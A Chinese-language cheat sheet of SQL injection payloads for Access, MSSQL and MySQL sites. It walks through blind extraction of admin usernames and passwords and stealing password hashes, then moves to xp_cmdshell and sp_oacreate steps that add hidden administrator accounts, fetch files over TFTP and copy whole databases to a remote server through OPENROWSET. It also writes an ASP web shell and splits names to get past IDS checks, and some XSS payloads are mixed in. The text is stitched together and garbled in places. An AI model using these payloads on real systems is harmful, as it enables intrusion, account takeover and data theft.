超詳細SQL經典注入語句,我們要知己知彼。奉獻給大家。
第一步先把IE菜單=>工具=>Internet選項=>高級=>顯示友好 HTTP 錯誤信息前面的勾去掉。否則,不論服務器返回什麼錯誤,IE都只顯示為HTTP 500服務器錯誤,不能獲得更多的提示信息。
數字型:and 1=1 and 1=2 判斷是否存在注入
字符型:' and '1'='1 ' and '1'='2
搜索型: 關鍵字%' and 1=1 and '%'='% 關鍵字%' and 1=2 and '%'='%
IIS報錯情況下使用:
and user>0 (判斷是Access還是MSSQL)
不報錯則使用各自數據庫特性來判斷
and (select count(*) from msysobjects)>0 (返回權限不足Access數據庫)
and (select count(*) from sysobjects)>0 (返回正常則為MSSQL數據庫)
and db_name()>0 (返回數據庫名)
and 0<>(select @@version)-- (判斷版本信息)
and db_name()>0 (返回數據庫名)
************注意:猜解之前先要找到後台地址,不然白忙了**********
Access注入:
猜解表名(正常則存在admin,不正常則不存在)
and exists (select * from [admin])
and (Select Count(*) from Admin)>0
猜解字段:(字段username存在則正常,不正常則不存在)
and (Select username from Admin)>0
and exists (select username from [admin])
猜解用戶名和密碼長度
and (select top 1 len(username) from Admin)>0
and (select top 1 len(passWord) from Admin)>0
原理:如果top 1的username長度大於0,則條件成立;接著就是>1、>2、>3這樣測試下去,一直到條件不成立為止,比如>4成立,>5不成立,就是len(username)=5,即用戶名長度為5.得到username的長度後,用mid(username,N,1)截取第N位字符,再asc(mid(username,N,1))得到ASCII碼.
猜解用戶
and (select top 1 asc(mid(username,1,1)) from Admin)>0,1,2…,
當輸入到109時,顯示錯誤,而108之前顯示正確,說明第一個字符的ASCII碼為109.,得到第一個字符是m。
同理and (select top 1 asc(mid(username,2,1) from Admin)>0,1,2…
到114的時候不成立,說明第二個字符的ASCII碼值為114,字符為r。
注意的是英文和數字的ASCII碼在1-128之間...
MSSQL注入:
having 1=1-- 【爆出一個表名及字段,如:列 'users.ID' 在選擇列表中無效】
group by users.ID having 1=1--
group by users.ID, users.username, users.passWord, users.privs having 1=1--
; insert into users values( 666, attacker, foobar, 0xffff )-- 【插入新記錄】
猜解表名:
SQL SERVER的每一個數據庫都會有用戶表和系統表,在系統表sysobjects中,數據庫內創建的每個對象(約束、默認值、日志、規則、存儲過程等)在sysobjects表中占一行,那麼也就是說當前數據庫的表名都會在該表內有存在。我們常用到的參數有三個,name (數據表的名字),xtype( 數據表的類型 u為用戶表),id( 數據表的對象標志)。
and (select top 1 name from sysobjects where xtype='u')>0 (得到第一個表名:比如user)
and (select top 1 name from sysobjects where xtype='u' and name not in ('user'))>0 得到第二個表名,後面的以此類推。。
猜解列名:
用到系統自帶的2個函數col_name()和object_id(),col_name()的格式是“COL_NAME( table_id , column_id )”,參數table_id是表的標識號,column_id是列的標識號,object_id(admin)就是得到admin在sysobjects中的標識號,column_id=1,2,3表明admin的第1,2,3列。
and (select top 1 col_name(object_id('admin'),1) from sysobjects)>0 【得到admin字段的第一個列名“username”依次類推,得到“passWord”“id”等等】
猜解字段內容:
and (select top 1 username from [admin])>0 【直接得到用戶名】
and (select top 1 passWord from [admin])>0 【直接得到密碼】
UNION聯合查詢:
select name,passWord,id from user union select user,pwd,uid from 表名
and 1=1 union select 1,2,3,4,5... from 表名 (數值從1開始慢慢加,如果加到5返回正常,那就存在5個字段)
ASCII逐字解碼法:
1、猜解列長度
and (select top 1 len(列名)from 表名)>N
其中N是數字,變換這個N的值猜解列長度,當N為6正確,為7錯誤,則長度為7
猜解第二條記錄就該使用:select top 1 len(列名) from 表名 where 列名 not in (select top 1 列名 from 表名)
2、猜解用戶和密碼
ASC()函數和Mid函數,ASC(mid(列名,N,1))得到“列名”第N位字符ASCII碼
猜解語句為:and (select top 1 asc(mid(字段,1,1)) from 數據庫名)>ASCII碼
區間判斷語句:....between......and......
中文處理法:當ASCII轉換後為“負數”使用abs()函數取絕對值。
例:and (select top 1 abs(asc(mid(字段,1,1))) from 數據庫名)=ASC碼
ASCII逐字解碼法的應用:
1、猜解表名:and (select count(*) from admin)<>0
2、猜解列名:and (select count(列名) from 表名)<>0
3、猜解用戶個數:and (select count(*) from 表名)>1,2.. 2正常,3錯誤,表中有3條記錄。
4、猜解用戶名的長度:and (select len(列名) from 表名)>=1、>=2、>=3、>=4。
5、猜解用戶名:and (select count(*)from 表名 where (asc(mid(列名,1,1))) between 30 and 130)<>0
最後提交:and (select asc(mid(列名,1,1)) from 表名)=ascii的值
6、猜解管理員的密碼:
按照上面的原理,把上面的語句中(asc(mid(列名,1,1)的列名換成PASSWord就能得到密碼了。
MySQL+PHP注入:
1.判斷是否存在注入,加';and 1=1 ;and 1=2
2.判斷版本 and ord(mid(version(),1,1))>51 代替。
5.判斷數據庫連接帳號有沒有寫權限,and (select count(*) from MySQL.user)>0 onerror=alert(/xss/) width=150></img> ( 表示注釋)
<img src=vbscript:msgbox ("xss")></img>
<style> input {left:expression (alert('xss'))}</style>
<div style={left:expression (alert('xss'))}></div>
<div style={left:expression (alert('xss'))}></div>
<div style={left:\0065\0078ression (alert('xss'))}></div>
Html 實體 <div style={left:&#x0065;xpression (alert('xss'))}></div>
SQL注入語句
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1.判斷有無注入點
; and 1=1 and 1=2
2.猜表一般的表的名稱無非是admin adminuser user pass passWord 等..
and 0<>(select count(*) from *)
and 0<>(select count(*) from admin) ---判斷是否存在admin這張表
3.猜帳號數目 如果遇到0< 返回正確頁面 1<返回錯誤頁面說明帳號數目就是1個
and 0<(select count(*) from admin)
and 1<(select count(*) from admin)
4.猜解字段名稱 在len( ) 括號裡面加上我們想到的字段名稱.
and 1=(select count(*) from admin where len(*)>0)--
and 1=(select count(*) from admin where len(用戶字段名稱name)>0)
and 1=(select count(*) from admin where len(_blank>密碼字段名稱passWord)>0)
5.猜解各個字段的長度 猜解長度就是把>0變換 直到返回正確頁面為止
and 1=(select count(*) from admin where len(*)>0)
and 1=(select count(*) from admin where len(name)>6) 錯誤
and 1=(select count(*) from admin where len(name)>5) 正確 長度是6
and 1=(select count(*) from admin where len(name)=6) 正確
and 1=(select count(*) from admin where len(passWord)>11) 正確
and 1=(select count(*) from admin where len(passWord)>12) 錯誤 長度是12
and 1=(select count(*) from admin where len(passWord)=12) 正確
6.猜解字符
and 1=(select count(*) from admin where left(name,1)=a) ---猜解用戶帳號的第一位
and 1=(select count(*) from admin where left(name,2)=ab)---猜解用戶帳號的第二位
就這樣一次加一個字符這樣猜,猜到夠你剛才猜出來的多少位了就對了,帳號就算出來了
and 1=(select top 1 count(*) from Admin where Asc(mid(pass,5,1))=51) --
這個查詢語句可以猜解中文的用戶和_blank>密碼.只要把後面的數字換成中文的ASSIC碼就OK.最後把結果再轉換成字符.
group by users.id having 1=1--
group by users.id, users.username, users.passWord, users.privs having 1=1--
; insert into users values( 666, attacker, foobar, 0xffff )--
UNION SELECT TOP 1 COLUMN_blank>_NAME FROM INFORMATION_blank>_SCHEMA.COLUMNS WHERE TABLE_blank>_NAME=logintable-
UNION SELECT TOP 1 COLUMN_blank>_NAME FROM INFORMATION_blank>_SCHEMA.COLUMNS WHERE TABLE_blank>_NAME=logintable WHERE COLUMN_blank>_NAME NOT IN (login_blank>_id)-
UNION SELECT TOP 1 COLUMN_blank>_NAME FROM INFORMATION_blank>_SCHEMA.COLUMNS WHERE TABLE_blank>_NAME=logintable WHERE COLUMN_blank>_NAME NOT IN (login_blank>_id,login_blank>_name)-
UNION SELECT TOP 1 login_blank>_name FROM logintable-
UNION SELECT TOP 1 passWord FROM logintable where login_blank>_name=Rahul--
看_blank>服務器打的補丁=出錯了打了SP4補丁
and 1=(select @@VERSION)--
看_blank>數據庫連接賬號的權限,返回正常,證明是_blank>服務器角色sysadmin權限。
and 1=(SELECT IS_blank>_SRVROLEMEMBER(sysadmin))--
判斷連接_blank>數據庫帳號。(采用SA賬號連接 返回正常=證明了連接賬號是SA)
and sa=(SELECT System_blank>_user)--
and user_blank>_name()=dbo--
and 0<>(select user_blank>_name()--
看xp_blank>_cmdshell是否刪除
and 1=(SELECT count(*) FROM master.dbo.sysobjects WHERE xtype = X AND name = xp_blank>_cmdshell)--
xp_blank>_cmdshell被刪除,恢復,支持絕對路徑的恢復
;EXEC master.dbo.sp_blank>_addextendedproc xp_blank>_cmdshell,xplog70.dll--
;EXEC master.dbo.sp_blank>_addextendedproc xp_blank>_cmdshell,c:\inetpub\wwwroot\xplog70.dll--
反向PING自己實驗
;use master;declare @s int;exec sp_blank>_oacreate "wscript.shell",@s out;exec sp_blank>_oamethod @s,"run",NULL,"cmd.exe /c ping 192.168.0.1";--
加帳號
;DECLARE @shell INT EXEC SP_blank>_OACREATE wscript.shell,@shell OUTPUT EXEC SP_blank>_OAMETHOD @shell,run,null, C:\WINNT\system32\cmd.exe /c net user jiaoniang$ 1866574 /add--
創建一個虛擬目錄E盤:
;declare @o int exec sp_blank>_oacreate wscript.shell, @o out exec sp_blank>_oamethod @o, run, NULL, cscript.exe c:\inetpub\wwwroot\mkwebdir.vbs -w "默認Web站點" -v "e","e:\"--
訪問屬性:(配合寫入一個webshell)
declare @o int exec sp_blank>_oacreate wscript.shell, @o out exec sp_blank>_oamethod @o, run, NULL, cscript.exe c:\inetpub\wwwroot\chAccess.vbs -a w3svc/1/ROOT/e +browse
爆庫 特殊_blank>技巧::%5c=\ 或者把/和\ 修改%5提交
and 0<>(select top 1 paths from newtable)--
得到庫名(從1到5都是系統的id,6以上才可以判斷)
and 1=(select name from master.dbo.sysdatabases where dbid=7)--
and 0<>(select count(*) from master.dbo.sysdatabases where name>1 and dbid=6)
依次提交 dbid = 7,8,9.... 得到更多的_blank>數據庫名
and 0<>(select top 1 name from bbs.dbo.sysobjects where xtype=U) 暴到一個表 假設為 admin
and 0<>(select top 1 name from bbs.dbo.sysobjects where xtype=U and name not in (Admin)) 來得到其他的表。
and 0<>(select count(*) from bbs.dbo.sysobjects where xtype=U and name=admin
and uid>(str(id))) 暴到UID的數值假設為18779569 uid=id
and 0<>(select top 1 name from bbs.dbo.syscolumns where id=18779569) 得到一個admin的一個字段,假設為 user_blank>_id
and 0<>(select top 1 name from bbs.dbo.syscolumns where id=18779569 and name not in
(id,...)) 來暴出其他的字段
and 0<(select user_blank>_id from BBS.dbo.admin where username>1) 可以得到用戶名
依次可以得到_blank>密碼。。。。。假設存在user_blank>_id username ,passWord 等字段
and 0<>(select count(*) from master.dbo.sysdatabases where name>1 and dbid=6)
and 0<>(select top 1 name from bbs.dbo.sysobjects where xtype=U) 得到表名
and 0<>(select top 1 name from bbs.dbo.sysobjects where xtype=U and name not in(Address))
and 0<>(select count(*) from bbs.dbo.sysobjects where xtype=U and name=admin and uid>(str(id))) 判斷id值
and 0<>(select top 1 name from BBS.dbo.syscolumns where id=773577794) 所有字段
?id=-1 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,* from admin
?id=-1 union select 1,2,3,4,5,6,7,8,*,9,10,11,12,13 from admin (union,Access也好用)
得到WEB路徑
;create table [dbo].[swap] ([swappass][char](255));--
and (select top 1 swappass from swap)=1--
;CREATE TABLE newtable(id int IDENTITY(1,1),paths varchar(500)) Declare @test varchar(20) exec master..xp_blank>_regread @rootkey=HKEY_blank>_LOCAL_blank>_MacHINE, @key=SYSTEM\CurrentControlSet\Services\W3SVC\Parameters\Virtual Roots\, @value_blank>_name=/, values=@test OUTPUT insert into paths(path) values(@test)--
;use ku1;--
;create table cmd (str image);-- 建立image類型的表cmd
存在xp_blank>_cmdshell的測試過程:
;exec master..xp_blank>_cmdshell dir
;exec master.dbo.sp_blank>_addlogin jiaoniang$;-- 加SQL帳號
;exec master.dbo.sp_blank>_passWord null,jiaoniang$,1866574;--
;exec master.dbo.sp_blank>_addsrvrolemember jiaoniang$ sysadmin;--
;exec master.dbo.xp_blank>_cmdshell net user jiaoniang$ 1866574 /workstations:* /times:all /passwordchg:yes /passWordreq:yes /active:yes /add;--
;exec master.dbo.xp_blank>_cmdshell net localgroup administrators jiaoniang$ /add;--
exec master..xp_blank>_servicecontrol start, schedule 啟動_blank>服務
exec master..xp_blank>_servicecontrol start, server
; DECLARE @shell INT EXEC SP_blank>_OACREATE wscript.shell,@shell OUTPUT EXEC SP_blank>_OAMETHOD @shell,run,null, C:\WINNT\system32\cmd.exe /c net user jiaoniang$ 1866574 /add
;DECLARE @shell INT EXEC SP_blank>_OACREATE wscript.shell,@shell OUTPUT EXEC SP_blank>_OAMETHOD @shell,run,null, C:\WINNT\system32\cmd.exe /c net localgroup administrators jiaoniang$ /add
; exec master..xp_blank>_cmdshell tFTP -i youip get file.exe-- 利用TFTP上傳文件
;declare @a sysname set @a=xp_blank>_+cmdshell exec @a dir c:\
;declare @a sysname set @a=xp+_blank>_cm’+’dshell exec @a dir c:\
;declare @a;set @a=db_blank>_name();backup database @a to disk=你的IP你的共享目錄bak.dat
如果被限制則可以。
select * from openrowset(_blank>sqloledb,server;sa;,select OK! exec master.dbo.sp_blank>_addlogin hax)
查詢構造:
SELECT * FROM news WHERE id=... AND topic=... AND .....
adminand 1=(select count(*) from [user] where username=victim and right(left(userpass,01),1)=1) and userpass <>
select 123;--
;use master;--
:a or name like fff%;-- 顯示有一個叫ffff的用戶哈。
and 1<>(select count(email) from [user]);--
;update [users] set email=(select top 1 name from sysobjects where xtype=u and status>0) where name=ffff;--
;update [users] set email=(select top 1 id from sysobjects where xtype=u and name=ad) where name=ffff;--
;update [users] set email=(select top 1 name from sysobjects where xtype=u and id>581577110) where name=ffff;--
;update [users] set email=(select top 1 count(id) from passWord) where name=ffff;--
;update [users] set email=(select top 1 pwd from passWord where id=2) where name=ffff;--
;update [users] set email=(select top 1 name from passWord where id=2) where name=ffff;--
上面的語句是得到_blank>數據庫中的第一個用戶表,並把表名放在ffff用戶的郵箱字段中。
通過查看ffff的用戶資料可得第一個用表叫ad
然後根據表名ad得到這個表的ID 得到第二個表的名字
insert into users values( 666, char(0x63)+char(0x68)+char(0x72)+char(0x69)+char(0x73), char(0x63)+char(0x68)+char(0x72)+char(0x69)+char(0x73), 0xffff)--
insert into users values( 667,123,123,0xffff)--
insert into users values ( 123, admin--, passWord, 0xffff)--
;and user>0
;and (select count(*) from sysobjects)>0
;and (select count(*) from mysysobjects)>0 //為Access_blank>數據庫
枚舉出數據表名
;update aaa set aaa=(select top 1 name from sysobjects where xtype=u and status>0);--
這是將第一個表名更新到aaa的字段處。
讀出第一個表,第二個表可以這樣讀出來(在條件後加上 and name<>剛才得到的表名)。
;update aaa set aaa=(select top 1 name from sysobjects where xtype=u and status>0 and name<>vote);--
然後id=1552 and exists(select * from aaa where aaa>5)
讀出第二個表,一個個的讀出,直到沒有為止。
讀字段是這樣:
;update aaa set aaa=(select top 1 col_blank>_name(object_blank>_id(表名),1));--
然後id=152 and exists(select * from aaa where aaa>5)出錯,得到字段名
;update aaa set aaa=(select top 1 col_blank>_name(object_blank>_id(表名),2));--
然後id=152 and exists(select * from aaa where aaa>5)出錯,得到字段名
[獲得數據表名][將字段值更新為表名,再想法讀出這個字段的值就可得到表名]
update 表名 set 字段=(select top 1 name from sysobjects where xtype=u and status>0 [ and name<>你得到的表名 查出一個加一個]) [ where 條件] select top 1 name from sysobjects where xtype=u and status>0 and name not in(table1,table2,…)
通過SQLSERVER注入_blank>漏洞建_blank>數據庫管理員帳號和系統管理員帳號[當前帳號必須是SYSADMIN組]
[獲得數據表字段名][將字段值更新為字段名,再想法讀出這個字段的值就可得到字段名]
update 表名 set 字段=(select top 1 col_blank>_name(object_blank>_id(要查詢的數據表名),字段列如:1) [ where 條件]
繞過IDS的檢測[使用變量]
;declare @a sysname set @a=xp_blank>_+cmdshell exec @a dir c:\
;declare @a sysname set @a=xp+_blank>_cm’+’dshell exec @a dir c:\
1、 開啟遠程_blank>數據庫
基本語法
select * from OPENROWSET(SQLOLEDB, server=servername;uid=sa;pwd=123, select * from table1 )
參數: (1) OLEDB Provider name
2、 其中連接字符串參數可以是任何端口用來連接,比如
select * from OPENROWSET(SQLOLEDB, uid=sa;pwd=123;Network=DBMSSOCN;Address=192.168.0.1,1433;, select * from table
3.復制目標主機的整個_blank>數據庫insert所有遠程表到本地表。
基本語法:
insert into OPENROWSET(SQLOLEDB, server=servername;uid=sa;pwd=123, select * from table1) select * from table2
這行語句將目標主機上table2表中的所有數據復制到遠程_blank>數據庫中的table1表中。實際運用中適當修改連接字符串的IP地址和端口,指向需要的地方,比如:
insert into OPENROWSET(SQLOLEDB,uid=sa;pwd=123;Network=DBMSSOCN;Address=192.168.0.1,1433;,select * from table1) select * from table2
insert into OPENROWSET(SQLOLEDB,uid=sa;pwd=123;Network=DBMSSOCN;Address=192.168.0.1,1433;,select * from _blank>_sysdatabases)
select * from master.dbo.sysdatabases
insert into OPENROWSET(SQLOLEDB,uid=sa;pwd=123;Network=DBMSSOCN;Address=192.168.0.1,1433;,select * from _blank>_sysobjects)
select * from user_blank>_database.dbo.sysobjects
insert into OPENROWSET(SQLOLEDB,uid=sa;pwd=123;Network=DBMSSOCN;Address=192.168.0.1,1433;,select * from _blank>_syscolumns)
select * from user_blank>_database.dbo.syscolumns
復制_blank>數據庫:
insert into OPENROWSET(SQLOLEDB,uid=sa;pwd=123;Network=DBMSSOCN;Address=192.168.0.1,1433;,select * from table1) select * from database..table1
insert into OPENROWSET(SQLOLEDB,uid=sa;pwd=123;Network=DBMSSOCN;Address=192.168.0.1,1433;,select * from table2) select * from database..table2
復制哈西表(HASH)登錄_blank>密碼的hash存儲於sysxlogins中。方法如下:
insert into OPENROWSET(SQLOLEDB, uid=sa;pwd=123;Network=DBMSSOCN;Address=192.168.0.1,1433;,select * from _blank>_sysxlogins) select * from database.dbo.sysxlogins
得到hash之後,就可以進行暴力破解。
遍歷目錄的方法: 先創建一個臨時表:temp
;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));--
;insert temp exec master.dbo.xp_blank>_availablemedia;-- 獲得當前所有驅動器
;insert into temp(id) exec master.dbo.xp_blank>_subdirs c:\;-- 獲得子目錄列表
;insert into temp(id,num1) exec master.dbo.xp_blank>_dirtree c:\;-- 獲得所有子目錄的目錄樹結構,並寸入temp表中
;insert into temp(id) exec master.dbo.xp_blank>_cmdshell type c:\web\index.ASP;-- 查看某個文件的內容
;insert into temp(id) exec master.dbo.xp_blank>_cmdshell dir c:\;--
;insert into temp(id) exec master.dbo.xp_blank>_cmdshell dir c:\ *.ASP /s/a;--
;insert into temp(id) exec master.dbo.xp_blank>_cmdshell cscript C:\Inetpub\AdminScripts\adsutil.vbs enum w3svc
;insert into temp(id,num1) exec master.dbo.xp_blank>_dirtree c:\;-- (xp_blank>_dirtree適用權限PUBLIC)
寫入表:
語句1:and 1=(SELECT IS_blank>_SRVROLEMEMBER(sysadmin));--
語句2:and 1=(SELECT IS_blank>_SRVROLEMEMBER(serveradmin));--
語句3:and 1=(SELECT IS_blank>_SRVROLEMEMBER(setupadmin));--
語句4:and 1=(SELECT IS_blank>_SRVROLEMEMBER(securityadmin));--
語句5:and 1=(SELECT IS_blank>_SRVROLEMEMBER(securityadmin));--
語句6:and 1=(SELECT IS_blank>_SRVROLEMEMBER(diskadmin));--
語句7:and 1=(SELECT IS_blank>_SRVROLEMEMBER(bulkadmin));--
語句8:and 1=(SELECT IS_blank>_SRVROLEMEMBER(bulkadmin));--
語句9:and 1=(SELECT IS_blank>_MEMBER(db_blank>_owner));--
把路徑寫到表中去:
;create table dirs(paths varchar(100), id int)--
;insert dirs exec master.dbo.xp_blank>_dirtree c:\--
and 0<>(select top 1 paths from dirs)--
and 0<>(select top 1 paths from dirs where paths not in(@Inetpub))--
;create table dirs1(paths varchar(100), id int)--
;insert dirs exec master.dbo.xp_blank>_dirtree e:\web--
and 0<>(select top 1 paths from dirs1)--
把_blank>數據庫備份到網頁目錄:下載
;declare @a sysname; set @a=db_blank>_name();backup database @a to disk=e:\web\down.bak;--
and 1=(Select top 1 name from(Select top 12 id,name from sysobjects where xtype=char(85)) T order by id desc)
and 1=(Select Top 1 col_blank>_name(object_blank>_id(USER_blank>_LOGIN),1) from sysobjects) 參看相關表。
and 1=(select user_blank>_id from USER_blank>_LOGIN)
and 0=(select user from USER_blank>_LOGIN where user>1)
-=- wscript.shell example -=-
declare @o int
exec sp_blank>_oacreate wscript.shell, @o out
exec sp_blank>_oamethod @o, run, NULL, notepad.exe
; declare @o int exec sp_blank>_oacreate wscript.shell, @o out exec sp_blank>_oamethod @o, run, NULL, notepad.exe--
declare @o int, @f int, @t int, @ret int
declare @line varchar(8000)
exec sp_blank>_oacreate scripting.filesystemobject, @o out
exec sp_blank>_oamethod @o, opentextfile, @f out, c:\boot.ini, 1
exec @ret = sp_blank>_oamethod @f, readline, @line out
while( @ret = 0 )
begin
print @line
exec @ret = sp_blank>_oamethod @f, readline, @line out
end
declare @o int, @f int, @t int, @ret int
exec sp_blank>_oacreate scripting.filesystemobject, @o out
exec sp_blank>_oamethod @o, createtextfile, @f out, c:\inetpub\wwwroot\foo.ASP, 1
exec @ret = sp_blank>_oamethod @f, writeline, NULL,
<% set o = server.createobject("wscript.shell"): o.run( request.querystring("cmd") ) %>
declare @o int, @ret int
exec sp_blank>_oacreate speech.voicetext, @o out
exec sp_blank>_oamethod @o, register, NULL, foo, bar
exec sp_blank>_oasetproperty @o, speed, 150
exec sp_blank>_oamethod @o, speak, NULL, all your sequel servers are belong to,us, 528
waitfor delay 00:00:05
; declare @o int, @ret int exec sp_blank>_oacreate speech.voicetext, @o out exec sp_blank>_oamethod @o, register, NULL, foo, bar exec sp_blank>_oasetproperty @o, speed, 150 exec sp_blank>_oamethod @o, speak, NULL, all your sequel servers are belong to us, 528 waitfor delay 00:00:05--
xp_blank>_dirtree適用權限PUBLIC
exec master.dbo.xp_blank>_dirtree c:返回的信息有兩個字段subdirectory、depth。Subdirectory字段是字符型,depth字段是整形字段。
create table dirs(paths varchar(100), id int)
建表,這裡建的表是和上面xp_blank>_dirtree相關連,字段相等、類型相同。
insert dirs exec master.dbo.xp_blank>_dirtree c:只要我們建表與存儲進程返回的字段相定義相等就能夠執行!達到寫表的效果,一步步達到我們想要的信息
unicode <div style="{left:expRessioN (alert('xss'))}"